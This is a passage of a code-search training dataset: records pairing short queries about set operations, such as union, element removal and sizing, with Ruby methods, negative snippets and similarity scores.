"0.5032255",
"0.50266504",
"0.5022808",
"0.4995549",
"0.49932104",
"0.49927193",
"0.49638835",
"0.4961743",
"0.4955883",
"0.4955062",
"0.4945587",
"0.4945568",
"0.49431828",
"0.49414504",
"0.49394563",
"0.4918993",
"0.49159986",
"0.4915267",
"0.49076644",
"0.49050087",
"0.49006456",
"0.48872414",
"0.4884685",
"0.48464918",
"0.4843631",
"0.48417813",
"0.4829321",
"0.4828847",
"0.48287928",
"0.48260474",
"0.48260182",
"0.48253706",
"0.48198557",
"0.48179552",
"0.48136845",
"0.48123804",
"0.47964266",
"0.47774073",
"0.4773186",
"0.4769748",
"0.47619298",
"0.47619298",
"0.47547835",
"0.47484374",
"0.47482976",
"0.47391513",
"0.47284225",
"0.47143933",
"0.47127855",
"0.47039634",
"0.4703098",
"0.46990353",
"0.46878818",
"0.46714586",
"0.46713555",
"0.46588016"
] |
0.7348808
|
0
|
return this | a in a new set
|
def or_(a)
if ((a).nil?)
return self
end
s = self.clone
s.or_in_place(a)
return s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_set\n ::Set.new(to_a)\n end",
"def &(other)\n # transform self into a LinkedHashSet to remove duplicates and preserve order as defined by the Ruby Array intersection contract\n duped = Java::JavaUtil::LinkedHashSet.new(self)\n duped.retainAll(other)\n duped\n end",
"def |(other)\n # transform self into a LinkedHashSet to remove duplicates and preserve order as defined by the Ruby Array union contract\n duped = Java::JavaUtil::LinkedHashSet.new(self)\n duped.addAll(other)\n duped\n end",
"def to_a\n set\n end",
"def new_set\r\n @sets[@current_set_name] = @current_set\r\n @current_set = []\r\n end",
"def intersection(anotha_one)\n new_set = MySet.new\n\n if secret_size > anotha_one.secret_size\n bigger_set = self\n smaller_set = anotha_one\n else\n bigger_set = anotha_one\n smaller_set = self\n end\n\n for i in 0...bigger_set.secret_size\n da_element = bigger_set.element_at_index(i)\n new_set.add(da_element) if smaller_set.contains?(da_element)\n end\n\n return new_set\n end",
"def as( branchclass )\n\t\tnewset = self.clone\n\t\tnewset.branch = branchclass.new( self.branch.directory, self.branch.dn )\n\t\treturn newset\n\tend",
"def &(enum)\n new_set = TreeSet.new\n enum.each do |val|\n new_set << val if self.include?(val)\n end\n new_set\n end",
"def clone\n new_set = TreeSet.new\n # Create new nodes in the same order as self's\n if root\n root.root_traverse do |node|\n new_set << node.value\n end\n end\n new_set\n end",
"def to_a\n to_set.to_a\n end",
"def to_set(klass = Set, *args, &block)\n return self if instance_of?(Set) && klass == Set && block.nil? && args.empty?\n klass.new(self, *args, &block)\n end",
"def set(ot)\n merge(ot)\n self\n end",
"def new_input_set()\n return AncestryInputSet.new()\n end",
"def &(other)\n (to_set - other.to_set).inject(clone) do |copy, e|\n copy.delete e\n copy\n end\n end",
"def rset; end",
"def add(p)\nq = self.dup\nq.add!(p)\nend",
"def call(value)\n coerced = value.map { |item| super(item) }\n\n @set ? Set.new(coerced) : coerced\n end",
"def |(other_set)\n super(CharSet.new(other_set))\n end",
"def sets\n end",
"def copy\n\t\t\treturn self.dup\n\t\tend",
"def to_set\n require 'set' unless defined?(::Set)\n each.to_set\n end",
"def new_input_set()\n return FindInputSet.new()\n end",
"def chosen\n the_set = []\n self.itemlist.each { |k,v| the_set << self.object(k).chosen }\n the_set\n end",
"def clone( options={} )\n\t\tself.log.debug \"cloning %p with options = %p\" % [ self, options ]\n\t\tnewset = super()\n\t\tnewset.options = @options.merge( options )\n\t\treturn newset\n\tend",
"def new_input_set()\n return SearchInputSet.new()\n end",
"def to_set(klass = IntegerSet, *args, &block)\n return self if instance_of?(IntegerSet) && klass == IntegerSet && block.nil? && args.empty?\n klass.new(self, *args, &block)\n end",
"def subset(a)\n if ((a).nil?)\n return false\n end\n return (self.and_(a) == self)\n end",
"def new_input_set()\n return SpecialNeedsInputSet.new()\n end",
"def new_input_set()\n return ClosestInputSet.new()\n end",
"def +( other_branch )\n\t\treturn Treequel::BranchCollection.new( self.branchset, other_branch.branchset )\n\tend",
"def union(other)\n set = MyHashSet.new\n (to_a + other.to_a).uniq.each { |el| set.insert(el) }\n set\n end",
"def select\n a = []\n @set.each do |e,_|\n if yield(e)\n a << e\n end\n end\n a\n end",
"def clear\n @seen.clear\n return self\n end",
"def to_set\n a = Set.new\n @index.each_value do |s|\n s.each do |t|\n a << t\n end\n end\n a\n end",
"def union(anotha_one)\n new_set = MySet.new\n for i in 0...secret_size\n new_set.add(@da_set.get(i)) unless @da_set.get(i) == nil\n end\n\n for i in 0...anotha_one.secret_size\n # anotha_one.element_at_index(i) == nil ? nil : new_set.contains?(anotha_one.element_at_index(i)) ? nil : new_set.add(anotha_one.element_at_index(i))\n\n unless anotha_one.element_at_index(i) == nil\n new_set.add(anotha_one.element_at_index(i)) unless new_set.contains?(anotha_one.element_at_index(i))\n end\n end\n\n return new_set\n end",
"def |(enum)\n new_set = TreeSet.new\n [self, enum].each do |enumerable|\n enumerable.each do |val|\n new_set << val\n end\n end\n new_set\n end",
"def set\n self.sets.first[0]\n end",
"def aset(index, value)\n end",
"def +@\n return self\n end",
"def +@\n return self\n end",
"def parse_set\n @current_set = Set.new\n @current_match.add_set @current_set\n end",
"def merge(other_set)\n requires_set(other_set, __method__)\n MySet.new(members + other_set.members)\n end",
"def club_sets\n super.uniq\n end",
"def search_builder(*args)\n super.tap do |builder|\n if @set\n builder.set = @set\n end\n end\n end",
"def new_input_set()\n return InsertInputSet.new()\n end",
"def clone\n q = super\n q.attrs = self.attrs.clone\n return q\n end",
"def new_input_set()\n return SearchInputSet.new()\n end",
"def new_input_set()\n return SearchInputSet.new()\n end",
"def intersect(other)\n set = MyHashSet.new\n to_a.each { |el| set.insert(el) if other.include?(el) }\n set\n end",
"def [](index)\n return sets[index]\n end",
"def |(enum)\n if enum.is_a?(Set)\n enum = try_integer_set(enum)\n return enum.dup.merge(self) unless enum.is_a?(IntegerSet)\n end\n dup.merge(enum)\n end",
"def new_input_set()\n return FindByLatLonInputSet.new()\n end",
"def dup\n self\n end",
"def dup\n self\n end",
"def dup\n self\n end",
"def add(value)\n result = super(value)\n if (result)\n # only track if new element not in set\n @elements.add(value)\n end\n return result\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def to_a\n return super if __forced__?\n self\n end",
"def new_input_set()\n return AddFavoriteInputSet.new()\n end",
"def uniq\n self.class.new(values: to_a.uniq)\n end",
"def new_input_set()\n return ClosestMatchSearchInputSet.new()\n end",
"def dup\n other = super\n %w{tables table_alias unique_alias where tables key_value_tables}.each do |k|\n other.send(\"#{k}=\", other.send(k).dup)\n end\n other\n end",
"def new_input_set()\n return RemoveInputSet.new()\n end",
"def union(other_set)\n new_set = @set\n # Create an array with elements that are members of either set\n other_set.set.each do |element|\n new_set.push(element)\n end\n Set.new(new_set)\n end",
"def each(&block)\n to_set.each(&block)\n end",
"def this\n @this ||= dataset.filter(pk_hash).limit(1).naked\n end",
"def set; end",
"def set; end",
"def +( other )\n\t\tif other.is_a?( Treequel::BranchCollection ) || other.is_a?( Treequel::Branchset )\n\t\t\treturn Treequel::BranchCollection.new( self, other )\n\t\telse\n\t\t\treturn self.all + Array( other )\n\t\tend\n\tend",
"def canonical\n return self\n end",
"def subset\n { subset: @superset }\n end",
"def minus(other)\n set = MyHashSet.new\n to_a.each { |el| set.insert(el) unless other.include?(el) }\n set\n end",
"def initialize\n super\n @scope = ::Set.new\n end",
"def qconj\n\t\tself.class.new(@a, -@b)\n\tend",
"def new_input_set()\n return AdGroupSearchInputSet.new()\n end",
"def create_liked_by_set\n set = \"#{self.class}:#{id}:liked_by\"\n liked_by.each {|rater| Recommendable.redis.sadd set, rater.id}\n return set\n end",
"def difference(anotha_one)\n new_set = MySet.new\n\n for i in 0...secret_size\n unless element_at_index(i) == nil\n new_set.add(self.element_at_index(i)) if !anotha_one.contains?(element_at_index(i))\n end\n end\n\n return new_set\n end",
"def dup\n copy = Lexicon.new\n self.each{|e| copy.add(e.dup)}\n return copy\n end",
"def ===(other)\n to_set == other.to_set\n end",
"def new_input_set()\n return GetByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return UpdateCollectionInputSet.new()\n end",
"def new_input_set()\n return AppliedLearningInputSet.new()\n end",
"def make_set(x,y,z)\n return [x,y,z]\n end",
"def groups(recursive = false)\n Set.new() << self\n end",
"def new_input_set()\n return SearchBySubjectInputSet.new()\n end",
"def new_input_set()\n return AdSearchInputSet.new()\n end",
"def unchosen\n the_set = []\n self.itemlist.each { |k,v| the_set << self.object(k).unchosen }\n the_set\n end",
"def +(other)\n if(other == nil)\n return Clone(self)\n end\n \n fileSet = FileSet.new()\n \n fileSet.FilePaths = (self.FilePaths + other.FilePaths).uniq()\n fileSet.FileDirectories = (self.FileDirectories + other.FileDirectories).uniq()\n fileSet.RootDirectories = (self.RootDirectories + other.RootDirectories).uniq()\n fileSet.Defines = (self.Defines + other.Defines).uniq()\n \n return fileSet\n end",
"def new_input_set()\n return UniqueNameSearchInputSet.new()\n end",
"def each_set\n \n end",
"def nsindexset\n if self.length == 0\n raise \"An index set must have at least one index\"\n end\n\n set = NSMutableIndexSet.indexSet\n self.each do |val|\n set.addIndex val\n end\n set\n end",
"def nsindexset\n if self.length == 0\n raise \"An index set must have at least one index\"\n end\n\n set = NSMutableIndexSet.indexSet\n self.each do |val|\n set.addIndex val\n end\n set\n end",
"def new_input_set()\n return GetCollectionInputSet.new()\n end",
"def new_input_set()\n return AddTagsInputSet.new()\n end",
"def new_input_set()\n return AddTagsInputSet.new()\n end",
"def set(pairs={})\n if not(immutable?)\n pairs.each {|idx, val| self[idx] = val}\n return self\n else\n pairs.inject(self) {|obj, (idx, val)| obj.send(\"[]=\", idx, val)}\n end\n end",
"def extend_result(result)\n EdgeSet.new(result)\n end",
"def to_expanded_set\r\n (target.map { |x| x.to_i } << to_i).to_set # include the group value as well\r\n end",
"def &(ary)\n self.class.new super\n end"
] |
[
"0.61023355",
"0.59257424",
"0.58588076",
"0.5832746",
"0.58164996",
"0.5699643",
"0.5689473",
"0.5671012",
"0.5665088",
"0.5603503",
"0.5585512",
"0.55583966",
"0.5539773",
"0.55394447",
"0.5522668",
"0.55192125",
"0.5517683",
"0.5441328",
"0.5419519",
"0.5411743",
"0.5380172",
"0.53613234",
"0.5356021",
"0.5352016",
"0.5332671",
"0.53230494",
"0.53006256",
"0.52997905",
"0.5297401",
"0.52940905",
"0.5293923",
"0.5293612",
"0.52860576",
"0.52816975",
"0.5277609",
"0.52754873",
"0.5270695",
"0.52692467",
"0.52690685",
"0.52690685",
"0.52675086",
"0.52618223",
"0.523457",
"0.5231168",
"0.52288127",
"0.5217798",
"0.52173895",
"0.5217335",
"0.52172524",
"0.521069",
"0.52090514",
"0.52058893",
"0.51970756",
"0.51970756",
"0.51970756",
"0.5194597",
"0.5190385",
"0.5190385",
"0.5172048",
"0.5157051",
"0.51455027",
"0.5144998",
"0.5143252",
"0.5138642",
"0.5126889",
"0.51237744",
"0.51226074",
"0.51212037",
"0.51212037",
"0.5112039",
"0.51119524",
"0.5108182",
"0.51079893",
"0.50828034",
"0.50739825",
"0.5071784",
"0.506693",
"0.5066323",
"0.5063733",
"0.5057055",
"0.5056976",
"0.5055793",
"0.50536233",
"0.5044449",
"0.50443304",
"0.504256",
"0.5039433",
"0.5036592",
"0.5032995",
"0.5024534",
"0.50227964",
"0.5021392",
"0.5021392",
"0.50160795",
"0.5011177",
"0.5011177",
"0.5008812",
"0.5008424",
"0.5007326",
"0.5005245"
] |
0.55396235
|
13
|
remove this element from this set
|
def remove(el)
n = word_number(el)
if (n >= @bits.attr_length)
grow_to_include(el)
end
@bits[n] &= ~bit_mask(el)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove(obj)\n @set.removeObject obj\n end",
"def remove\n __flag__ :remove\n end",
"def remove(entry)\n @entry_set.delete(get_entry(entry))\n end",
"def remove; end",
"def remove; end",
"def remove; end",
"def remove; end",
"def remove!\n self.class.removed(item)\n end",
"def delete element\n self.delete_at index_of(element) \n end",
"def delete element\n self.delete_at index_of(element) \n end",
"def remove(entry); end",
"def remove!; end",
"def remove(el)\n raise NotImplementedError\n end",
"def delete_element(element); end",
"def prune\n @set.clear\n end",
"def remove(value)\n connection.zrem(key_label, value)\n end",
"def remove(element, new_time)\n @remove_set[element] = new_time.to_i\n self\n end",
"def delete(element); end",
"def remove!(node)\n super\n key_to_node.delete(node.key)\n self\n end",
"def remove(*args)\n if args.empty?\n super\n else\n __remove_elements__ :remove, args\n end\n end",
"def remove(num)\n @count -= 1\n self[num].delete(num)\n end",
"def pop\r\n removed_item = @data\r\n @data = @data.next_node\r\n removed_item.next_node = nil\r\n removed_item\r\n end",
"def remove(num)\n self[num].delete(num) if include?(num)\n end",
"def remove_element(name)\n @element_list.delete_if{|e|\n e.name == name\n }\n end",
"def remove letter\n @letters.delete_if { |a_letter| a_letter.__id__ == letter.__id__}\n self\n end",
"def op_del(attrname = nil)\n attrname ||= pop\n push pop.dup\n peek.delete(attrname)\n end",
"def del(key)\n @first.del(key)\n end",
"def remove\n @instantiations.dup.each(&:remove)\n @instantiations[0..-1] = []\n true\n end",
"def remove(key)\n\n if include?(key)\n self[key].delete(key)\n @count -= 1\n end\n\n end",
"def remove_set_from_hand(card)\n\t\t@cards.delete(card)\n\tend",
"def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\t@head.next = nil || element.next\n\t\t\telement\n\t\tend",
"def remove(name)\n @j_map.remove(name)\n self\n end",
"def remove(key); end",
"def deq\n\t\tremove(0)\n\tend",
"def set_removed # :nodoc:\n @removed = true\n end",
"def remove\n each { |x| x.parent.children.delete(x) }\n end",
"def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend",
"def remove()\n return nil if self.empty?\n\n # swap root node and last leaf node (swap head and rear of internal array) and pop it\n last_index = @store.length - 1\n swap(0, last_index)\n removed = @store.pop\n\n # ensure heap property via calling heap_down\n heap_down(0)\n return removed.value\n end",
"def delete\n @reg.delete_bits(self)\n self\n end",
"def remove item\n @components.remove item\n end",
"def remove\r\n self.update(deleted: true)\r\n end",
"def delete\n data.delete( self ); self\n end",
"def remove_item\n @parent.remove_item(self)\n end",
"def remove(val)\n\nend",
"def remove\n @store.shift\n end",
"def remove(field)\n self.delete(field)\n @options.delete(field)\n end",
"def remove\n return @exact.shift unless @exact.empty?\n @list.shift\n end",
"def desist\n self.class.delete self\n end",
"def delete(elt)\n @elements.delete(elt)\n if @elements.empty?\n @elements.add(EmptyFeature.new)\n end\n end",
"def remove_set(name)\n\t\t@sets = session[:sets]\n\t\tif @sets\n\t\t\t@sets.delete(name)\n\t\t\tsession[:sets] = @sets\n\t\tend\n\tend",
"def pop\n @collection.pop\n end",
"def remove_point(point)\n self.points.delete point\n point.cluster = nil\n end",
"def remove(key)\n a_hash[key] = nil\n end",
"def delete(attribute)\n `c$Element.prototype.m$remove_property.call(#{@element},attribute)`\n end",
"def remove\n @queue.pop\n end",
"def remove_entry(p)\n\t\t@person.delete(p)\n\tend",
"def delete\n self.store -= self\n end",
"def remove( key )\n key = UniMap.str_to_key( key ) unless key.is_a?( Key )\n key && HTMapHelper.remove_map( self, key )\n end",
"def remove_target_set(value)\n @children['target-set'][:value].delete(value)\n end",
"def remove(key)\n @store.delete_if { |i| i[:key] == build_key(key) }\n end",
"def remove(p)\n @first = counterclockwise(@first) if @first.equal?(p)\n @first = nil if @first.equal?(p)\n @neighbors.delete(p)\n end",
"def remove(type); end",
"def delete_elem(elem)\n reject(&elem.method(:eql?))\n end",
"def deintersect\n [self]\n end",
"def remove(value)\n #YOUR WORK HERE\n end",
"def remove()\n removed = @store[0].value\n swap(0, @store.length - 1)\n @store.pop\n heap_down(0)\n return removed\n end",
"def remove\n unless self.empty?\n swap(0, @store.length - 1)\n removed_node = @store.pop\n\n heap_down(0)\n\n return removed_node.value\n end\n end",
"def pop\n delete @data.keys.pop\n end",
"def remove\n @stack.pop\n end",
"def remove\n @stack.pop\n end",
"def remove_item\n\n end",
"def destroy\n self.class.remove(key)\n end",
"def destroy\n self.class.remove(key)\n end",
"def remove(node)\n end",
"def clear\n\t\twhile self.length > 0\n\t\t\tremove self.head\n\t\tend\n\tend",
"def clear\n\t\twhile self.length > 0\n\t\t\tremove self.head\n\t\tend\n\tend",
"def clear\n\t\twhile self.length > 0\n\t\t\tremove self.head\n\t\tend\n\tend",
"def remove(task)\n #find key by index\n task = self.keys[task - 1] if task.instance_of? Fixnum\n self if self.delete(task)\n end",
"def remove!\n self.results.each{ |r| r.remove! }\n self.metadata.remove!\n end",
"def remove(key)\n\n end",
"def find_remove(preposistion)\n\t\tremove(find(preposition))\n\tend",
"def remove(vertex)\n return if !self.include?(vertex)\n vertex.remove_relations(self)\n super\n end",
"def removed(attribute_name)\n changed(attribute_name)\n end",
"def removed(attribute_name)\n changed(attribute_name)\n end",
"def remove\n @queue.shift\n end",
"def remove name\n delete(name)\n end",
"def remove(x)\n if include?(x)\n ind = @indices[x]\n ind2 = @content.size - 1\n swap(ind,ind2) # do this to ensure constant time\n removeEnd\n end\n end",
"def delete!\n graph.removeVertex element\n end",
"def remove(key)\n row = key >> 10\n column = @a[row].index{|(i,v)| i == key}\n if column\n @a[row].delete_at(column)\n end\n end",
"def remove_exception_set(value)\n @children['exception-set'][:value].delete(value)\n end",
"def delete!\n graph.remove_edge element\n end",
"def delete!\n graph.remove_edge element\n end",
"def remove(value)\n if self.include?(value)\n if head.data == value\n remove_head(value, head)\n else\n remove_value(value, head)\n end\n else\n return nil\n end\n end",
"def remove(item)\r\n loc = location_of(item)\r\n loc.remove(item)\r\n end",
"def forget(element_id)\n unless is_parent_layout?\n return parent_layout.remove(element_id)\n end\n removed = nil\n context(self.view) do\n removed = all(element_id)\n @elements[element_id] = nil\n end\n removed\n end",
"def remove_sub sub\n @subs.delete sub\n nil\n end",
"def delete(o)\n @val &= ~(1 << o) if valid_member?(o)\n self\n end",
"def js_remove_element(element)\n rjs_method :remove_element, element\n end",
"def remove_element\n @app.dom_on_sockets.remove_element @id\n end",
"def remove( *ruleses )\n self.dup.remove!( *ruleses )\n end"
] |
[
"0.69391745",
"0.6911127",
"0.6744244",
"0.6703757",
"0.6703757",
"0.6703757",
"0.6703757",
"0.6678802",
"0.6661913",
"0.6661913",
"0.66591704",
"0.6636542",
"0.66129375",
"0.65738076",
"0.6553057",
"0.6482025",
"0.64711875",
"0.6355289",
"0.6328037",
"0.6267222",
"0.6235042",
"0.62259877",
"0.6207879",
"0.6194356",
"0.61918414",
"0.6176581",
"0.6142525",
"0.6119906",
"0.61110353",
"0.61056954",
"0.6105401",
"0.61043954",
"0.61038786",
"0.61034036",
"0.6102313",
"0.609564",
"0.6079076",
"0.607831",
"0.60776645",
"0.6075063",
"0.6057155",
"0.60469186",
"0.6033188",
"0.6031794",
"0.6028016",
"0.6013536",
"0.5991142",
"0.59796774",
"0.59771633",
"0.5975018",
"0.5964854",
"0.5961779",
"0.5957684",
"0.59549266",
"0.5947111",
"0.59390765",
"0.5930457",
"0.592943",
"0.5924317",
"0.5923935",
"0.5909094",
"0.5907503",
"0.5900918",
"0.58935577",
"0.58767724",
"0.5868927",
"0.5850807",
"0.58505297",
"0.58423775",
"0.58423775",
"0.58379143",
"0.5816002",
"0.5816002",
"0.5808932",
"0.5807757",
"0.5807757",
"0.5807757",
"0.5804549",
"0.5802534",
"0.58005846",
"0.5795021",
"0.57942677",
"0.5793612",
"0.5793612",
"0.5791148",
"0.578366",
"0.57784355",
"0.5776892",
"0.5776",
"0.5769626",
"0.57679236",
"0.57679236",
"0.57642186",
"0.5756116",
"0.5752457",
"0.5748059",
"0.5747599",
"0.57460755",
"0.5738821",
"0.5738084"
] |
0.6754921
|
2
|
Sets the size of a set.
|
def set_size(nwords)
newbits = Array.typed(::Java::Long).new(nwords) { 0 }
n = Math.min(nwords, @bits.attr_length)
System.arraycopy(@bits, 0, newbits, 0, n)
@bits = newbits
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def size=(size)\n instance_set(:size, size)\n end",
"def size\n to_set.size\n end",
"def size=(value)\n @size = value\n end",
"def size=(value)\n @size = value\n end",
"def size(size)\n @value[:size] = size\n self\n end",
"def size=(size)\n end",
"def size=(val)\n if @size > val\n @elements.keys.each do |k|\n @elements.delete(k) if k >= val\n end\n end\n @size = val\n end",
"def size\n if @size.nil?\n @size = @mset.inject(0) do |total, pair|\n value = pair[1]\n if value.is_a? Array\n total + value.size\n else\n total + 1\n end\n end\n end\n\n @size\n end",
"def set_Size(value)\n set_input(\"Size\", value)\n end",
"def size= (x)\n change_options({\"size\" => x})\n end",
"def size=(*values)\n values = values[0] if values.size == 1 && values[0].is_a?(Array)\n @peer.set_size_styles(values[0], values[1])\n end",
"def size\n @items_set.size\n end",
"def size=(size)\n @size = size\n resize\n end",
"def size=(size)\n check_is_a!(size, Integer)\n check_gt!(size, 0)\n @attributes[:Size] = size\n end",
"def set_size!(size) \n @transforms << SIZES[size]\n self \n end",
"def size= length\n #This is a stub, used for indexing\n end",
"def size=(other)\n @size = other\n\n if @workers.size > @size\n (@workers.size - @size).times { @workers.shift[:run] = false }\n else\n (@size - @workers.size).times { @workers << spawn }\n end\n end",
"def size=(size)\n self.width = self.height = @size = size\n end",
"def size(new_size = nil)\n new_size.nil? ? @size : @size = new_size\n end",
"def length\n @set.length\n end",
"def record_size(s)\n @size = s\n end",
"def add_size( size )\n\n @size << size\n\n end",
"def add_size( size )\n\n @size << size\n\n end",
"def setSize(width, height)\n setWidth(width)\n setHeight(height)\n end",
"def size=(arg)\n @view__.size = arg.is_a?(Vector) ? arg.getInternal__ : arg\n arg\n end",
"def dimensions(val); @dimensions = val; self; end",
"def add_size (size)\n @size << size\n end",
"def setSize _obj, _args\n \"_obj setSize _args;\" \n end",
"def <=>(set)\n return unless set.is_a?(Set)\n\n case size <=> set.size\n when -1 then -1 if proper_subset?(set)\n when +1 then +1 if proper_superset?(set)\n else 0 if self.==(set)\n end\n end",
"def chunk_size=(size)\n unless size.is_a?(Integer)\n raise ArgumentError, \"chunk size must be an Integer\"\n end\n unless size >= 1\n raise ArgumentError, \"invalid size #{size.inspect} given\"\n end\n @chunk_size = size\n end",
"def set_size\n @size = Size.find(params[:id])\n end",
"def set_size\n @size = Size.find(params[:id])\n end",
"def set_sizeofcmds(size)\n fmt = (endianness == :little) ? \"L<\" : \"L>\"\n new_size = [size].pack(fmt)\n @raw_data[20..23] = new_size\n end",
"def size(x, y=nil)\n settings.size = [x, y || x]\n end",
"def set_matches_per_element(set_name, num_matches, options={})\n @set_options[set_name][:num_matches] = num_matches\n @set_options[set_name] = @set_options[set_name].merge(options)\n end",
"def set_sizes\n @size = Size.find(params[:id])\n end",
"def size=(dimension); end",
"def size=(val)\n v = val.is_a?(Array)\n v &&= val.length == 2\n v &&= val.all? {|item| item.to_s =~ /^\\d+$/ }\n raise InvalidSize unless v\n @width = val.first.to_i\n @height = val.last.to_i\n end",
"def table_size=(size)\n @limit = size\n size_check(nil)\n end",
"def setMarkerSize _obj, _args\n \"_obj setMarkerSize _args;\" \n end",
"def size=(size)\n throw ArgumentError.new('new size is negative') if size.negative?\n size -= data.size\n if size.positive?\n @data += '\\0' * size\n elsif size.negative?\n @data = @data[0...size]\n end\n @data.size\n end",
"def size=(size)\n validator = EnumAttributeValidator.new('String', ['Full', 'Half', 'Quarter'])\n unless validator.valid?(size)\n fail ArgumentError, 'invalid value for \"size\", must be one of #{validator.allowable_values}.'\n end\n @size = size\n end",
"def size=(size)\n dif = size - @size\n dif < 0 ? @weights.pop(-dif) : @weights.push(Array.new(dif, 0)).flatten!\n dif < 0 ? @inputs.pop(-dif) : @inputs.push(Array.new(dif, 0)).flatten!\n @size = size\n end",
"def length\r\n\t\t@set.length\r\n\tend",
"def slot_size (size)\r\n @slot_size = size\r\n end",
"def set_SizeClass(value)\n set_input(\"SizeClass\", value)\n end",
"def set_SizeClass(value)\n set_input(\"SizeClass\", value)\n end",
"def length=(val)\n @length = val.to_i\n\n reset\n end",
"def size=(size)\n validator = EnumAttributeValidator.new('String', [\"8.75x3.75\"])\n unless validator.valid?(size)\n fail ArgumentError, \"invalid value for \\\"size\\\", must be one of #{validator.allowable_values}.\"\n end\n @size = size\n end",
"def bit_set_size\n @bit_set.size\n end",
"def size!\n @size = nil\n self.size\n end",
"def set(sets)\n view.update_many(\"$set\" => collect_operations(sets))\n end",
"def length=(new_length) #:nodoc:\n if new_length == :unlimited\n @length = UNLIMITED_OCCURRENCES\n else\n @length = new_length\n end\n end",
"def table_size=(size)\n @cc.table_size = size\n end",
"def table_size=(size)\n @cc.table_size = size\n end",
"def size=(size)\n if !size.nil? && size.to_s.length > 20\n fail ArgumentError, 'invalid value for \"size\", the character length must be smaller than or equal to 20.'\n end\n\n @size = size\n end",
"def set_size(page_size = DEFAULT_ITEMS_PER_PAGE)\n @page_size = page_size.positive? ? page_size : DEFAULT_ITEMS_PER_PAGE\n\n # Add an extra page only if there is at least 1 extra record\n @pages = count_filtered / @page_size + ((count_filtered % @page_size).zero? ? 0 : 1)\n @pages = 1 if @pages.zero?\n\n self\n end",
"def set_size(w,h)\n @width = w\n @height = h\n end",
"def resize(size)\n dup.resize!(size)\n end",
"def add_search_set( search_set, number_to_transpose = 0 )\n @search_sets << Set.new( MiltonsMachine::Core::ForteSet.new(search_set).transpose_mod12(number_to_transpose) )\n end",
"def fill_square(n, set, idx)\n set[idx] = n\n end",
"def postfieldsize=(value)\n Curl.set_option(:postfieldsize, value_for(value, :int), handle)\n end",
"def size=(width, height)\n end",
"def size(value)\n new(dataset.size(value))\n end",
"def []=(x, v)\n old_size = size\n super(x, v)\n expand(old_size, size - 2) if size - old_size > 1\n end",
"def size; @size end",
"def size=(_); end",
"def size=(_); end",
"def set_shirt_size\n @shirt_size = ShirtSize.find(params[:id])\n end",
"def set(enumerable); end",
"def size=(size)\n raise ArgumentError, \"Rect#size= takes an Array of form [width, height].\" if size.size != 2\n self[2,2] = size\n size\n end",
"def initialize(size)\n @size = size\n end",
"def normalize_size_to(integer)\n until size >= integer\n unshift 0\n end\n self\n end",
"def size!\n @elements.values.map(&:size!).inject(0) {|total,size| total + size}\n end",
"def resize(size)\n @size = size\n new_slots = Array.new(@size).map { 0 }\n new_slots.each_with_index do |slot, i|\n new_slots[i] = @slots[i]\n end\n @slots = new_slots\n end",
"def piece_size=(v)\n return unless v\n @piece_count = nil\n @piece_size = [v, 1024].max\n end",
"def set; end",
"def set; end",
"def set_size\n self.size = attachment.size if attachment.size\n end",
"def length=(length)\n end",
"def size\n Integer.new.tap do |count|\n each { |element| count += 1 }\n end\n end",
"def set_type_size(sz, signed = false)\n tname = \"#{signed ? \"\" : \"U\"}Int#{sz}\"\n t = eval tname\n raise \"unsupported bitfield type #{tname}\" unless t\n @type = t\n @signed = signed\n return sz\n end",
"def with_set(set_name)\n @current_set = []\n @with << [:set, set_name, @current_set]\n self\n end",
"def pool_size=(pool_size)\n @pool.pool_size = pool_size\n end",
"def set_server_size\n @server_size = ServerSize.find(params[:id])\n end",
"def set(x, y, n)\r\n\t\t\tif x<@dims && y<@dims\r\n\t\t\t\t@data[(@dims*x)+y] = n\r\n\t\t\telse\r\n\t\t\t\tfail \"Unable to store more than dimensions.\"\r\n\t\t\tend\r\n\t\tend",
"def set(name, type, options = {})\n def_collection_accessors(name, Set)\n set_attribute_default(name, options.fetch(:default, ::Set[]))\n end",
"def size\n @collection.size\n end",
"def size size = nil\n @size = size.to_i if size\n @size\n end",
"def size\n @collection.size\n end",
"def interpret_size(size); end",
"def set_playground_size(size)\n @playground.size = size\n end",
"def set(*args)\n # not supported\n end",
"def set(*args)\n # not supported\n end",
"def set_Length(value)\n set_input(\"Length\", value)\n end",
"def size\n it = iterator\n it.size\n end",
"def status=(status)\n instance_set(:size, status)\n end",
"def set_cache_size(opts)\n opts = check_params(opts,[:sizes])\n super(opts)\n end",
"def size(num)\n params(size: num)\n end",
"def superset?(set)\n case\n when set.instance_of?(self.class) && @hash.respond_to?(:>=)\n @hash >= set.instance_variable_get(:@hash)\n when set.is_a?(Set)\n size >= set.size && set.all? { |o| include?(o) }\n else\n raise ArgumentError, \"value must be a set\"\n end\n end"
] |
[
"0.68374014",
"0.6613425",
"0.6526964",
"0.6526964",
"0.6495139",
"0.6329067",
"0.628815",
"0.6287924",
"0.61458",
"0.61079127",
"0.6085733",
"0.60565335",
"0.6006084",
"0.5945788",
"0.5929795",
"0.5816402",
"0.57686806",
"0.57522374",
"0.5666391",
"0.56650144",
"0.55790687",
"0.55596334",
"0.55596334",
"0.5553353",
"0.55533326",
"0.5550116",
"0.5504345",
"0.54672486",
"0.54547495",
"0.54405993",
"0.5438766",
"0.5438766",
"0.543267",
"0.5431978",
"0.541439",
"0.5412867",
"0.5394044",
"0.5384213",
"0.53747374",
"0.53745294",
"0.5369191",
"0.53459597",
"0.5323065",
"0.53027165",
"0.5292661",
"0.52914",
"0.52914",
"0.5289438",
"0.527561",
"0.5274969",
"0.52490366",
"0.5226918",
"0.5221208",
"0.52199286",
"0.52199286",
"0.5187224",
"0.518103",
"0.51700217",
"0.51497626",
"0.51408273",
"0.5137887",
"0.5137285",
"0.51295364",
"0.5128935",
"0.5122363",
"0.51223373",
"0.51148725",
"0.51148725",
"0.5093014",
"0.5079459",
"0.5052723",
"0.50262713",
"0.50102544",
"0.5004568",
"0.49979684",
"0.49828923",
"0.497809",
"0.497809",
